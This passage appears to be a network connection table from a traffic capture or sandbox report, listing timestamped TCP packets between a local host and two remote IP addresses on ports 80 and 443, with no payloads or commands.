Dec 2, 2024 07:37:57.288644075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.288739920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.340132952 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.340229034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.340230942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.340284109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.340586901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.340642929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.340666056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.340683937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.341476917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.341531038 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.341572046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.341638088 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.342377901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.342432022 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.342499018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.342556953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.343290091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.343332052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.343414068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.343458891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.344199896 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.344250917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.344283104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.344336033 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.345118046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.345180035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.345211983 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.345267057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.346120119 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.346139908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.346169949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.346213102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.346404076 CET	443	49838	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.346915960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.347007990 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.347023964 CET	49838	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.347034931 CET	443	49838	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.347035885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.347069979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.347536087 CET	49838	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.347541094 CET	443	49838	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.347804070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.347878933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.347922087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.347997904 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.348722935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.348792076 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.348882914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.348934889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.349637985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.349690914 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.349756956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.349823952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.350552082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.350647926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.350675106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.350728035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.351435900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.351490021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.351546049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.351598978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.352385044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.352442980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.352488041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.352488041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.353224993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.353286982 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.353349924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.353408098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.354136944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.354192019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.354247093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.354304075 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.354935884 CET	443	49837	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.355011940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.355130911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.355192900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.355240107 CET	49837	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.355257988 CET	443	49837	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.355657101 CET	49837	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.355662107 CET	443	49837	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.355927944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.355988026 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.355993986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.356038094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.356848955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.356908083 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.356930017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.356967926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.357718945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.357779026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.357809067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.357883930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.358653069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.358666897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.358719110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.358719110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.359627962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.359672070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.359692097 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.359729052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.360446930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.360496998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.360529900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.360579014 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.361337900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.361390114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.361485004 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.361582041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.362453938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.362468004 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.362498045 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.362525940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.363145113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.363219023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.363229036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.363293886 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.364042044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.364157915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.364182949 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.364355087 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.364928961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.364980936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.365052938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.365149975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.365880013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.366005898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.366076946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.366750956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.366903067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.366930008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.366985083 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.367739916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.367789984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.367799044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.367851019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.368655920 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.368777037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.368805885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.368860960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.436151028 CET	443	49835	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.436225891 CET	443	49835	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.436311007 CET	49835	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.436615944 CET	49835	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.436636925 CET	443	49835	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.436646938 CET	49835	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.436655998 CET	443	49835	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.439851046 CET	49839	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.439882994 CET	443	49839	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.439984083 CET	49839	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.440165997 CET	49839	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.440180063 CET	443	49839	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.470558882 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.470618963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.470690012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.470736980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.471867085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.471920967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.471940041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.471956015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.471956015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.471992016 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.472100973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.472143888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.472882986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.472894907 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.472940922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.472960949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.473716974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.473773003 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.473803997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.473850012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.474646091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.474698067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.474708080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.474757910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.475544930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.475608110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.475658894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.475708008 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.476414919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.476490021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.476588011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.476663113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.477339983 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.477390051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.477400064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.477440119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.478228092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.478280067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.478379011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.478458881 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.479166985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.479180098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.479214907 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.479249001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.480086088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.480143070 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.480247021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.480336905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.480962038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.481019974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.481024027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.481129885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.481820107 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.481873989 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.481945038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.482033014 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.482739925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.482785940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.482789040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.482827902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.483705044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.483756065 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.483808041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.483850956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.484549999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.484620094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.484642029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.484684944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.485408068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.485485077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.485543013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.485603094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.486361980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.486418009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.486433983 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.486481905 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.487308979 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.487333059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.487370968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.487370968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.488137960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.488190889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.488240957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.488281012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.489097118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.489162922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.489188910 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.489223957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.489949942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.490016937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.490113974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.490192890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.490824938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.490884066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.541460037 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.541524887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.541624069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.541834116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.541863918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.541949987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.542000055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.542058945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.542757988 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.542840958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.542983055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.543091059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.543673992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.543724060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.543762922 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.543821096 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.544570923 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.544617891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.544653893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.544747114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.545474052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.545576096 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.545591116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.545671940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.546432972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.546469927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.546478033 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.546525002 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.547276020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.547329903 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.547415972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.547533989 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.548192024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.548243999 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.548300982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.548362017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.549074888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.549144983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.549171925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.549259901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.549985886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.550077915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.550195932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.550251961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.550872087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.550987005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.550997972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.551064968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.551757097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.551820040 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.551877022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.551964045 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.552679062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.552747011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.552803993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.552855968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.553585052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.553643942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.553684950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.553735971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.554497957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.554568052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.554704905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.554769039 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.555388927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.555443048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.555510044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.555561066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.556287050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.556353092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.556408882 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.556466103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.557189941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.557245970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.557269096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.557409048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.558093071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.558140993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.558175087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.558227062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.558996916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.559084892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.559113026 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.559159994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.559943914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.560012102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.560146093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.560189962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.560908079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.560981035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.560998917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.561055899 CET	49823	80	192.168.2.6	185.215.113.206
